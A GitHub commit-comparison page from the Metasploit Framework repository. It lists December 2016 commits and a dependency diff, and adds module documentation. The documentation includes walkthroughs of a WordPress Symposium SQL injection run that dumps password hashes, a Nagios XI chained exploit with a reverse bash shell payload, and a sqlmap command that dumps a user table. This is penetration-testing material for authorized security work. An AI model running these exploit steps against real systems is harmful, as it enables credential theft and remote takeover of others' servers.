Compare commits

..

213 Commits

Author SHA1 Message Date
jinq102030 f29c9a7c45 Merge pull request #7716 from acammack-r7/smtp-deliver-ssl
Make SMTP delivery work with a range of server SSL
2016-12-16 08:58:55 -06:00
David Maloney 8b02f422f7 add meterpreter cmd interaction to console
add the -C flag to the sessions command to trigger
meterpreter commands on sessions without going
full interactive
2016-12-15 23:17:06 -06:00
Adam Cammack 47df88a5cc Make SMTP delivery work with a range of server SSL 2016-12-15 16:57:08 -06:00
William Vu 4a1f881f10 Land #7715, Rex::Ui::Text::Table rename
Should be Rex::Text::Table because of #7200.
2016-12-15 15:37:22 -06:00
Brent Cook 52346c3fa8 fix renamed rex text 2016-12-15 15:31:00 -06:00
wchen-r7 4ebf57ac50 Land #7712, Add php/meterpreter/reverse_tcp KB 2016-12-15 15:17:00 -06:00
wchen-r7 511e421b9c Move doc to the correct directory 2016-12-15 15:16:11 -06:00
David Maloney ca1cc11d9f Land #7713, scriptkittie fix for SessionLogging
lands a fix for loggers not handling a nil message
Fix for #7687
2016-12-15 14:42:40 -06:00
David Maloney e7eece60d8 add a nil catch to timestamp file sink
an additional nil guard is needed here just to be sure
2016-12-15 14:41:49 -06:00
cypher 27ba8f00df check for nil msg in print_error 2016-12-14 21:10:10 -08:00
Carter f377774de0 Create reverse_tcp.md 2016-12-14 11:45:16 -05:00
Brent Cook fa016de78a Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads 2016-12-13 18:13:22 -06:00
Brent Cook 082a8949e4 Land #7694, Initial stageless mettle payloads 2016-12-12 13:01:31 -06:00
Jon Hart 7aa743b205 Land #7682, @godinezj's improvements to #7604 2016-12-12 10:54:15 -08:00
Jon Hart 446cb02ebc Document IAM_PASSWORD option 2016-12-12 10:43:27 -08:00
William Vu cfca18906f Land #7702, persistence script platform fix 2016-12-11 19:35:43 -06:00
OJ 462e91ed22 Fix persistence script to work with new platform changes 2016-12-12 11:20:23 +10:00
Adam Cammack ccba73b324 Add stageless mettle for Linux/zarch 2016-12-09 18:30:52 -06:00
Adam Cammack 24cf756f5b Add stageless mettle for Linux/x86 2016-12-09 18:29:34 -06:00
Adam Cammack 62a9a31222 Add stageless mettle for Linux/x64 2016-12-09 18:28:29 -06:00
Adam Cammack 7d36d41b20 Add stageless mettle for Linux/ppc64le 2016-12-09 18:27:22 -06:00
Adam Cammack ee7d5fc0c9 Add stageless mettle for Linux/ppc 2016-12-09 18:25:57 -06:00
Adam Cammack 4570a7198c Add stageless mettle for Linux/mipsle 2016-12-09 18:24:12 -06:00
Adam Cammack 25b069f6b4 Add stageless mettle for Linux/mipsbe 2016-12-09 18:23:03 -06:00
Adam Cammack 7aec68c1fe Add stageless mettle for Linux/mips64 2016-12-09 18:21:52 -06:00
Adam Cammack 7a654ca76c Add stageless mettle for Linux/armle 2016-12-09 18:19:58 -06:00
Adam Cammack b74482aa6e Add stageless mettle for Linux/armbe 2016-12-09 18:18:22 -06:00
Adam Cammack 12b296ab1a Add stageless mettle for Linux/aarch64 2016-12-09 18:05:34 -06:00
William Vu f0dca7abbf Land #7692, print_error for error_sql_injection 2016-12-09 17:09:52 -06:00
William Vu 2b0bce6459 Land #7690, drupal_views_user_enum user count fix 2016-12-09 16:55:01 -06:00
William Vu 4e235be484 Ensure a trailing slash for base_uri
Technically, the GET parameters should be in vars_get, but we don't want
to refactor the entire module right now.
2016-12-09 16:53:58 -06:00
Jin Qian 8780c325a7 Fixed issues #7691, silent exit.
Add a print statement to alert user what is missing, user could be confused that "show missing" is empty yet something is missing.
2016-12-09 16:20:44 -06:00
dmohanty-r7 77dd952370 Land #7592, check nil return value when using redis_command 2016-12-09 16:07:12 -06:00
Jin Qian 17c12a78f5 Fixed issue #7689, count of found users not accurate
In module drupal_views_user_enum, the count of found users is not accurate.
Fixed it by doing flatten before doing counting.
2016-12-09 15:19:43 -06:00
Metasploit 12af07d8cb Bump version of framework to 4.13.7 2016-12-09 10:03:22 -08:00
David Maloney a267101413 Land #7670, bwatter's fix for prompt newline
land's brendan's fix for console output getting truncated
2016-12-09 10:44:46 -06:00
Brent Cook 50f95f9940 Land #7681, Get ready for stageless mettle 2016-12-09 09:31:47 -06:00
Brent Cook 6dcdf74850 bump mettle gem 2016-12-09 09:27:56 -06:00
Javier Godinez e9ce622db7 Updated README 2016-12-08 16:39:28 -08:00
Javier Godinez e0a06bb315 Updated README 2016-12-08 16:31:37 -08:00
Javier Godinez 0d41160b03 Sanity checks, errors out with nil ptr if API call fails 2016-12-08 16:14:10 -08:00
Javier Godinez a17d1a7e19 Added options for setting the PASSWORD and GROUPNAME 2016-12-08 16:13:31 -08:00
James Lee b9a7ed915a Land #7677, make sure the source file gets closed
... when downloading a file.
2016-12-08 16:50:23 -06:00
Adam Cammack eeef8fa6ad Add new arches to UUIDs 2016-12-08 16:29:43 -06:00
Jon Hart 4614b7023d Land #7604, @godinezj's post module for creating AWS IAM accounts 2016-12-08 14:26:22 -08:00
Jon Hart aa29fcad80 Update docs and pretty print the loot 2016-12-08 14:25:07 -08:00
godinezj 35340ece94 Merge pull request #2 from jhart-r7/pr/fixup-7604
More cleanup, allow setting of password for console access
2016-12-08 13:33:07 -08:00
Jon Hart 70668c289f Use better loot args 2016-12-08 13:14:36 -08:00
Jon Hart 3e412a8de3 Start documenting api/console create options 2016-12-08 12:59:54 -08:00
Jon Hart 162204b338 Support creating a password for the user, etc 2016-12-08 12:56:00 -08:00
Jon Hart aaa49550a7 Move call_api printing to verbose 2016-12-08 11:20:53 -08:00
Artem 9a7c0eb7b6 Fix cloe file 2016-12-08 21:28:39 +03:00
wchen-r7 ba9ce3fcfb Land #7665, Add ABORT_ON_LOCKOUT option for smb_login 2016-12-07 15:52:50 -06:00
Pearce Barry 657fadbe01 Land #7662, Payload Handler Console Command 2016-12-07 14:48:44 -06:00
Brendan 7dd2d3e226 Fix the prompt again 2016-12-07 14:32:54 -06:00
David Maloney 74b3a00035 fix payload datastore merge
fix the way we merge the payload datastore in so
the options actually take
2016-12-07 14:04:42 -06:00
Javier Godinez 33add4c11f Updated spec to match latest changes 2016-12-07 11:32:08 -08:00
Javier Godinez ee0e5e8681 Updated README 2016-12-07 11:22:47 -08:00
Javier Godinez a9cb08a352 Token should be passed as nil if not set 2016-12-07 10:16:41 -08:00
Javier Godinez 99ba1e45ff Removed unused params 2016-12-07 10:10:09 -08:00
Metasploit a54c0c4e1f Bump version of framework to 4.13.6 2016-12-07 09:00:16 -08:00
godinezj 48c9e7dfd5 Merge pull request #1 from jhart-r7/pr/fixup-7604
Initial cleanup for #7604
2016-12-06 22:03:25 -08:00
William Vu 630d87907c Land #7666, metasploit-payloads 1.2.4 update 2016-12-06 23:12:45 -06:00
OJ b902b4c28a Update payload sizes 2016-12-07 15:08:45 +10:00
OJ a99042a54d Update Gemfile.lock 2016-12-07 14:58:27 +10:00
OJ fc1d601d13 Bump the payloads version to 1.2.4 2016-12-07 14:57:05 +10:00
Rich Whitcroft d3a8409a49 prevent further lockouts in smb_login 2016-12-06 21:53:08 -05:00
Jon Hart 1c3f0437ed Move some options back to non-advanced 2016-12-06 17:39:37 -08:00
Jon Hart 0b46e90bbb Only print out AWS API responses when in verbose mode 2016-12-06 17:32:48 -08:00
Jon Hart a13382c80b Address most of rubocop's nits 2016-12-06 17:10:34 -08:00
Jon Hart 8f21a1f68c move most options to advance, since they never change
Also, doc empty username
2016-12-06 16:29:00 -08:00
Adam Cammack c5641c9681 Factor out mettle configuration
Also cleans up some stuff: s/url/uri/ and base-64 encodes UUIDs
2016-12-06 18:28:48 -06:00
David Maloney 606232828f freeze punk, it's rubocop!
rubocop autocrrecting a bunch of stuff *fingers crossed*
2016-12-06 17:17:56 -06:00
David Maloney dc53057639 more bcook fixes
the rebase lost some of these
2016-12-06 17:14:22 -06:00
David Maloney c8f6ac99a1 reapply bcook's indentation fixes 2016-12-06 16:52:46 -06:00
David Maloney d3225ce2fb Merge branch 'master' into feature/handler-command 2016-12-06 16:51:57 -06:00
Brent Cook f734031804 Land #7655, Refactor/cleanup core command dispatcher 2016-12-06 16:38:42 -06:00
Brent Cook d091a32be8 whitespace/indentation 2016-12-06 16:37:22 -06:00
David Maloney b553e26117 adjust cuke feature for help cmd
add the handler command to the expected output
from help
2016-12-06 15:31:17 -06:00
Adam Cammack 1ec7474067 Don't embed ELFs in ELF templates 2016-12-06 14:14:40 -06:00
David Maloney 62f0e7b20a add the handler console command
sometimes, as a user, you need to start a handler
but don't want to exit your current console context.
The new handler command allows a user to spin up a handler
in background job without switching contexts
2016-12-06 14:04:39 -06:00
Brent Cook 66363f1643 Land #7625, add meterpreter 'cp' command and copy primitives 2016-12-06 07:20:21 -06:00
Brent Cook 7346223a65 update payloads 2016-12-06 07:16:44 -06:00
Brent Cook b4a2a6ed60 Merge remote-tracking branch 'upstream/master' into land-7625- 2016-12-06 06:23:32 -06:00
OJ 2839b198ba Update payload spec to include multi payloads 2016-12-06 11:22:12 +10:00
OJ ffee0ff1b6 Fix payload cache size issue, fix shell/bind payloads 2016-12-06 11:12:02 +10:00
Metasploit 7edb5e19e2 Bump version of framework to 4.13.5 2016-12-05 15:09:06 -08:00
Brendan a038922d32 Land #7657, use platform for session_compatible? to support shell sessions 2016-12-05 16:05:05 -06:00
Jeffrey Martin 9ba6797d19 use arch for session_compatible? to support shell sessions 2016-12-05 15:56:28 -06:00
Jeffrey Martin 483228c4ea use platform for session_compatible? to support shell sessions 2016-12-05 14:14:37 -06:00
David Maloney ce23c2db53 why is this test so whitespace sensitive? 2016-12-05 12:18:58 -06:00
David Maloney d8af532407 offs 2016-12-05 12:08:51 -06:00
David Maloney e2a646f9d3 i hate you cucumber 2016-12-05 11:44:13 -06:00
David Maloney 85a3889eea trying to get cucumber passing again 2016-12-05 11:36:40 -06:00
David Maloney f56c7f9a8e cosmetic touchups 2016-12-05 11:25:56 -06:00
David Maloney d85f9880ff fix command dispatcher specs 2016-12-05 11:16:15 -06:00
David Maloney ab2e88a49e created modules command dispatcher
moved all commands related to navigating around
modules, editing them, and viewing their info into
a new command dispatcher
2016-12-05 10:30:18 -06:00
David Maloney 6557a84784 add resource command dispatcher
move resource script related commands into
their own command dispatcher
2016-12-05 09:20:07 -06:00
David Maloney 2008dcb946 create jobs command dispatcher
split the jobs related commands into their own
command dispatcher to start cleaning up the 'core'
dispatcher
2016-12-05 09:12:52 -06:00
William Vu d08aff2dcc Land #7651, nil fix for etherpad_duo_login 2016-12-03 13:11:13 -06:00
Jin Qian 4a35f8449a Fixed issue #7650 by matching Server header using regex as Wei suggested
The suggestion by Wei is simpler than the one I checked in which checks for presence of Server header before calling include method.
2016-12-02 20:26:38 -06:00
Jin Qian 35fdf1473b Fixed issue #7650 where etherpad_duo_login module may crash
Add check for presence of Server header.
2016-12-02 18:07:18 -06:00
Brendan 86ec5861f9 Land #7649, update session_compatible? for changes from PR#7507
Fixing the ability to find compatible post scripts for sessions
2016-12-02 16:29:08 -06:00
Jeffrey Martin b218c7690a cleanup stray comment 2016-12-02 15:25:58 -06:00
Jeffrey Martin 0be166e719 update session_compatible? for changes from PR#7507 2016-12-02 14:55:38 -06:00
wchen-r7 7ee9408da3 Land #7647, Search with an intersect instead of a union 2016-12-02 13:55:50 -06:00
darkbushido 889de05af4 removing some commented code 2016-12-02 13:06:22 -06:00
darkbushido 486f8cd2a3 adding arch to search 2016-12-02 13:05:23 -06:00
darkbushido f6694992ce changing module search to use the new scopes 2016-12-02 13:05:23 -06:00
dmohanty-r7 f45b0e3c88 Land #7643, only use ANSI ctrl chars in stdio output 2016-12-02 12:54:46 -06:00
Metasploit 76db530a86 Bump version of framework to 4.13.4 2016-12-02 10:02:53 -08:00
wchen-r7 374763e991 Land #7636, support sleep command for android meterpreter 2016-12-02 11:48:26 -06:00
OJ 917b45664b Merge LURI fix from timwr 2016-12-02 08:01:12 +10:00
William Vu ff8141c1b5 Land #7644, cred fix for vbulletin_vote_sqli_exec 2016-12-01 15:47:31 -06:00
William Vu c65ff2f0f4 Land #7646, get_cookies fix for dolibarr_login 2016-12-01 15:43:43 -06:00
Jin Qian 11906eb540 Fix issue #7645 where dolibarr_login module crashed
Add "res" (http response) when trying to retrieve the cookie
2016-12-01 15:38:26 -06:00
wchen-r7 41355898fa Remove extra def report_cred in vbulletin_vote_sqli_exec 2016-12-01 15:31:24 -06:00
wchen-r7 9325ef8d8f Land #7573, Add WP Symposium Plugin SQLI aux mod to steal credentials 2016-12-01 14:56:30 -06:00
wchen-r7 6b5dba72d4 Update description 2016-12-01 14:55:16 -06:00
wchen-r7 64bc029106 Fix Ruby style 2016-12-01 14:53:55 -06:00
wchen-r7 90ec367a99 Add method to save creds to database 2016-12-01 14:52:51 -06:00
wchen-r7 174cd74900 Land #7532, Add bypass UAC local exploit via Event Viewer module 2016-12-01 11:16:49 -06:00
wchen-r7 1e9d80c998 Fix another typo 2016-12-01 11:16:06 -06:00
wchen-r7 b8243b5d10 Fix a typo 2016-12-01 11:15:26 -06:00
David Maloney c9b5e43201 only use ANSI ctrl chars in stdio output
the async output fix was put in the parent UI IO
class when it only really makes sense in stdio.
Those ctrl sequences will noly be understood if output to a
terminal.

MS-2298
2016-12-01 11:06:17 -06:00
Tim 5a2eb29a1b remove unused generate_small_uri 2016-12-01 18:33:36 +08:00
Tim 4da614532b fix luri 2016-12-01 18:22:13 +08:00
William Vu 54684d31bd Land #7641, check_conn? fix for cisco_ssl_vpn 2016-11-30 21:14:19 -06:00
William Vu 032312d40b Properly check res 2016-11-30 21:03:29 -06:00
OJ 72a20ce464 Merge timwr's changes that fix android/reverse_http 2016-12-01 09:59:41 +10:00
OJ 8f077e1bf5 Merge timwr's changes for autoloading android 2016-12-01 09:58:54 +10:00
William Vu 1d6ee7192a Land #7427, new options for nagios_xi_chained_rce 2016-11-30 17:11:02 -06:00
William Vu b0cd28ef4c Update module docs 2016-11-30 17:10:57 -06:00
William Vu 3e8cdd1f36 Polish up USER_ID and API_TOKEN options 2016-11-30 17:10:52 -06:00
Jin Qian ec83a861c8 Fix issue #7640 where cisco SSL VPN not move despite server responded
Add the "return true" statement that was missing.
2016-11-30 16:25:13 -06:00
OJ ebf5121359 Merge branch 'upstream/master' into add-bypassuac-eventvwr 2016-12-01 07:58:16 +10:00
OJ 6890e56b30 Remove call to missing function 2016-12-01 07:57:54 +10:00
David Maloney 2a065cd220 Land #7591, sinn3r's warbird check fix
Lands sinn3r's fix to the warbird license verification
check in the payload segment injector
2016-11-30 15:45:04 -06:00
jinq102030 f13d012ade Merge pull request #7639 from wchen-r7/fix_7628
Fix #7628, concrete5_member_list HTML parser
2016-11-30 14:52:41 -06:00
wchen-r7 56505d2cc1 Resolve merge conflict 2016-11-30 14:33:23 -06:00
wchen-r7 c70c3701c5 Fix #7628, concrete5_member_list HTML parser
Fix #7628
2016-11-30 14:20:36 -06:00
William Webb b6bb1995ad Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2016-11-30 12:00:45 -06:00
William Webb c31758e0ea Land #7627, Fix typo in payloads/linux/armle/mettle 2016-11-30 11:58:47 -06:00
wchen-r7 530e9a9bc6 Land #7633, fix dell_idrac to stop trying on a user after a valid login 2016-11-30 11:46:31 -06:00
David Maloney 5b80c5de6b Land #7635, OJ's fix to UUID unpacking
fixes an issue with UUID packing that would
incorrectly trim off nullbytes
2016-11-30 11:19:33 -06:00
David Maloney d1be2d735f Land #7578, pdf-shaper exploit
Land lsato's work on the pdf-shaper buffer overflow
exploit
2016-11-30 11:13:12 -06:00
Tim 8f3fab4b1b fix sleep and transport on android 2016-11-30 21:59:01 +08:00
Tim 78480e31e7 remove AutoLoadAndroid 2016-11-30 21:23:14 +08:00
Tim b494d069f7 fix android/meterpreter/reverse_https 2016-11-30 20:53:09 +08:00
Tim 92751714c1 fix android/meterpreter/reverse_http 2016-11-30 20:12:00 +08:00
OJ bdc2e7c3cd Fix missing stager_config functions, payload sizes 2016-11-30 16:11:51 +10:00
OJ e5db0f4610 Fix unpack causing puid breakage in some cases 2016-11-30 15:51:17 +10:00
OJ 3fad75641d Final touches to make MSF happy with all refactorings 2016-11-30 11:30:59 +10:00
Jin Qian afed1f465e Fix issue 7632 where MSF keeps trying after success.
Thanks to Wei who suggested adding "return :next_user" after success.
2016-11-29 14:57:15 -06:00
David Maloney 3c9ebb97be Land #7624, Wvu's style fixes
land's wvu's style and text fixes for the
OS X archived messages module
2016-11-29 14:05:05 -06:00
David Maloney 4c50a7c80d Land #7630, Username Regex Fix
lands jin's fix for the username regex in
the concrete5 module
2016-11-29 14:00:27 -06:00
Javier Godinez 497e02955b Fixed checking for access keys being retrieved 2016-11-29 11:08:55 -08:00
Jin Qian 1beeb99d44 Fix issue 7628, username extracted became garbled
Make the regular expression less aggressive.
2016-11-29 12:52:57 -06:00
Adam Cammack 878779e14c Fix typo in payloads/linux/armle/mettle 2016-11-29 10:12:17 -06:00
OJ 834756c337 Rework android structure to function with the multi arch payload 2016-11-29 17:55:31 +10:00
Tim 090dac6d24 make the stdapi_fs_file_move test unconditional 2016-11-29 14:37:19 +08:00
Tim 94a15920ec add test for file copy 2016-11-29 14:36:03 +08:00
Tim 468bf4696f stdapi_fs_file_copy 2016-11-29 13:56:27 +08:00
OJ bdfaaf01b2 Make multi work with https 2016-11-29 15:51:38 +10:00
OJ bd8f8fd6cb More rework of payload structure to handle multi arch handlers 2016-11-29 15:21:13 +10:00
OJ beca63645e Revamp of java payload structure 2016-11-29 11:54:30 +10:00
Javier Godinez cb0313642b Fixed setting IAM_USERNAME 2016-11-29 00:54:49 +00:00
Javier Godinez 46ce1dfaab Now using random string as IAM_USERNAME unless specified 2016-11-28 16:32:53 -08:00
Javier Godinez f8789fef38 Moved METADATA_IP to advanced options 2016-11-28 16:32:26 -08:00
Javier Godinez a49a983079 Removed reference to not yet existing module 2016-11-28 16:31:51 -08:00
William Vu b6fe6c1d38 Fix #7597, minor changes to enum_messages 2016-11-28 17:37:32 -06:00
OJ e8d7a074fa Tweak to stageless handling for python payloads 2016-11-29 07:54:51 +10:00
wchen-r7 19bcef0c92 Land #7623, Prefer DefaultOptions to reregistering SSL option 2016-11-28 14:54:12 -06:00
William Vu c39c53b102 Prefer DefaultOptions to reregistering SSL option 2016-11-28 14:29:02 -06:00
Pearce Barry 8c54b0e5f4 Land #7622, Fix check_conn? method in cisco_ironport_enum 2016-11-28 14:19:02 -06:00
William Vu 777d5c1820 Fix check_conn? method in cisco_ironport_enum 2016-11-28 14:02:39 -06:00
Cantoni Matteo f0b5b5a153 call store_loot once at the end 2016-11-28 20:28:36 +01:00
Javier Godinez 53a66585cf Removed dubious unit test 2016-11-28 10:07:18 -08:00
wchen-r7 a7fa2941a8 Land #7597, Added post module for accessing OSX messages database 2016-11-28 11:43:06 -06:00
wchen-r7 4eb109b22f Land #7609, set SSL to true by default for cisco_nac_manager_traversal 2016-11-28 11:30:41 -06:00
Metasploit f46ca66858 Bump version of framework to 4.13.3 2016-11-28 06:35:44 -08:00
OJ 5e8a47ac00 Merge upstream/master into universal handler work 2016-11-28 15:26:43 +10:00
OJ 496836fc06 Remove debug junk, rejig order of ops in initializer 2016-11-28 15:25:07 +10:00
OJ e8158bd200 Add multi platform type, wire into the multi stage 2016-11-28 09:34:09 +10:00
Javier Godinez 83e0a21a52 Added unit tests 2016-11-24 21:04:17 -08:00
Javier Godinez 0700b17f7e Added sanity checks 2016-11-24 21:04:10 -08:00
Javier Godinez b4add59a3d Moved metadata_creds() so Client can be included in Aux/Post modules 2016-11-24 21:03:38 -08:00
OJ 5fdd5a7326 More progress on http universal staged handler 2016-11-25 13:00:35 +10:00
Cantoni Matteo ceb7419714 wp_symposium_sql_injection Module Documentation 2016-11-24 10:41:50 +01:00
Cantoni Matteo fd11e7c4df modified it as recommended (@brandonprry) and added Module Documentation 2016-11-24 10:36:32 +01:00
root dc64f63517 Removed useless comments 2016-11-24 01:33:20 +00:00
root 5284e20a52 Optimised SQL vars, removed unneeded requires and changed the "exec" function name 2016-11-24 01:27:03 +00:00
Jin Qian b7ae7a47be Fix issue #7608 where the SSL option was not turned on by default
Set the SSL option to be on by default.
2016-11-23 14:45:42 -06:00
Javier Godinez c48587066d Added reference and minor fixes 2016-11-23 10:58:37 -08:00
Javier Godinez 43e1b5bdd1 Adds module to create an AWS IAM user from a pwned AWS host 2016-11-22 14:55:03 -08:00
Javier Godinez 0eaeeb4aa7 Adds a generic AWS client module 2016-11-22 14:54:18 -08:00
OJ c606eabbb9 Merge 'upstream/master' into universal-handlers 2016-11-22 14:06:46 +10:00
root ce514ed3e5 Fixed broken fail_with function call and whitespace on line ending 2016-11-22 03:04:12 +00:00
root e0f8d622ec Added metasploit module for access OSX messages database 2016-11-22 02:53:38 +00:00
wchen-r7 83a3a4e348 Fix #7463, check nil return value when using redis_command
Fix #7463
2016-11-21 15:52:12 -06:00
wchen-r7 b2cc8e2b95 Fix #7569, Fix warbird check for missing text section
Fix #7569
2016-11-21 14:57:01 -06:00
OJ 6ae8a2dd2e Remove unused/empty function body 2016-11-21 17:59:49 +10:00
OJ 8c036885bc Fix msftidy issues 2016-11-21 17:23:03 +10:00
OJ e226047457 Merge 'upstream/master' into the bypassuac via eventvwr mod 2016-11-21 17:18:40 +10:00
Louis Sato 920ecf6fc5 finishing metacoms work for pdf-shaper-bo 2016-11-18 11:36:02 -06:00
Cantoni Matteo b3b89a57b5 Add WordPress Symposium Plugin SQL Injection module 2016-11-17 15:04:53 +01:00
OJ 4bf966f695 Add module to bypassuac using eventvwr
This module was inspired by the work done by Matt Nelson and Matt
Graeber who came up with the method in the first place. This works
nicely on a fully patched Windows 10 at the time of writing.
2016-11-05 04:41:38 +10:00
OJ b0970783ff Another interim commit moving towards universal handlers 2016-11-04 13:25:02 +10:00
OJ 09d9733a75 Interim commit while working on multi payloads 2016-11-03 06:44:39 +10:00
OJ cc8c1adc00 Add first pass of multi x86 http/s payload (not working yet) 2016-11-03 02:44:53 +10:00
OJ 494b4e67bd Refactor http/s handler & payloads
This commit moves much of the platform-specific logic from the
reverse_http handler down into the payloads. This makes the handler
a bit more agnostic of what the payload is (which is a good thing).
There is more to do here though, and things can be improved.

Handling of datastore settings has been changed to make room for the
ability to override the datastore completely when generating the
payloads. If a datastore is given via the `opts` then this is used
instead otherwise it falls back to the settings specified in the usual
datatstore location.

Down the track, we'll have a payload that supports multiple stages, and
the datastore will be generated on the fly, along with the stage itself.
Without this work, there's no other nice way of getting datastore
settings to be contained per-stager.
2016-11-02 11:33:59 +10:00
h00die 9d2355d128 removed debug line 2016-10-10 10:23:51 -04:00
h00die 2ad82ff8e3 more nagios versatility 2016-10-10 10:21:49 -04:00
150 changed files with 6074 additions and 2544 deletions
+14 -14
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.13.2)
metasploit-framework (4.13.7)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -14,9 +14,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.1)
metasploit-payloads (= 1.2.4)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.2)
metasploit_payloads-mettle (= 0.1.4)
msgpack
nessus_rest
net-ssh
@@ -33,7 +33,7 @@ PATH
rb-readline-r7
recog
redcarpet
rex-arch (= 0.1.2)
rex-arch (= 0.1.4)
rex-bin_tools
rex-core
rex-encoder
@@ -104,7 +104,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.10.1)
capybara (2.11.0)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@@ -169,8 +169,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.1)
metasploit_data_models (2.0.9)
metasploit-payloads (1.2.4)
metasploit_data_models (2.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@@ -180,13 +180,13 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.2)
metasploit_payloads-mettle (0.1.4)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.9.1)
minitest (5.10.1)
msgpack (1.0.2)
multi_json (1.12.1)
multi_test (0.1.2)
@@ -232,12 +232,12 @@ GEM
activesupport (= 4.2.7.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (11.3.0)
rake (12.0.0)
rb-readline-r7 (0.5.2.0)
recog (2.1.0)
recog (2.1.2)
nokogiri
redcarpet (3.3.4)
rex-arch (0.1.2)
rex-arch (0.1.4)
rex-text
rex-bin_tools (0.1.1)
metasm
@@ -250,7 +250,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.3)
rex-exploitation (0.1.4)
jsobfu
metasm
rex-arch
@@ -316,7 +316,7 @@ GEM
slop (3.6.0)
sqlite3 (1.3.12)
sshkey (1.8.0)
thor (0.19.1)
thor (0.19.4)
thread_safe (0.3.5)
timecop (0.8.1)
tzinfo (1.2.2)
@@ -0,0 +1,65 @@
## Vulnerable Application
The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress
Symposium plugin before 15.8. The Pro module version has not been verified.
To download the vulnerable application, you can find it here:
https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/admin/http/wp_symposium_sql_injection```
3. Do: ```set RHOST <ip>```
4. Set TARGETURI if necessary.
5. Do: ```run```
## Scenarios
Example run against WordPress Symposium plugin 15.5.1:
```
msf > use auxiliary/admin/http/wp_symposium_sql_injection
msf auxiliary(wp_symposium_sql_injection) > show info
Name: WordPress Symposium Plugin SQL Injection
Module: auxiliary/admin/http/wp_symposium_sql_injection
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-08-18
Provided by:
PizzaHatHacker
Matteo Cantoni <goony@nothink.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
URI_PLUGIN wp-symposium yes The WordPress Symposium Plugin URI
VHOST no HTTP server virtual host
Description:
SQL injection vulnerability in the WP Symposium plugin before 15.8
for WordPress allows remote attackers to execute arbitrary SQL
commands via the size parameter to get_album_item.php.
References:
http://cvedetails.com/cve/2015-6522/
https://www.exploit-db.com/exploits/37824
msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
TARGETURI => /html/wordpress/
msf auxiliary(wp_symposium_sql_injection) > run
[+] 1.2.3.4:80 - admin $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. admin.foobar@mail.xyz
[+] 1.2.3.4:80 - pippo $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ pippo.foobar@mail.xyz
[+] 1.2.3.4:80 - pluto $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ pluto.foobar@mail.xyz
[*] Auxiliary module execution completed
```
@@ -28,8 +28,22 @@ steps on the screen to configure the app.
Configuration is actually not required to exploit the app, but you should do it
anyway.
## Options
**USER_ID**
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
**API_TOKEN**
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
## Usage
### Typical Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
@@ -71,3 +85,103 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
uname -a
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```
### Emulating a different DB
#### First we'll attempt the exploit and see what happens.
```
msf exploit(nagios_xi_chained_rce) > show options
Module options (exploit/linux/http/nagios_xi_chained_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
API_TOKEN no If an API token was already stolen, skip the SQLi
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.2.218 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
USER_ID 1 yes User ID in the database to target
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.117 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nagios XI <= 5.2.7
msf exploit(nagios_xi_chained_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] 0 incidents resolved in Nagios IM
[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
[*] Exploit completed, but no session was created.
```
#### Now lets try using sqlmap to enumerate the user table.
```
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
...snip...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| user_id | name | email | enabled | username | password | backend_ticket |
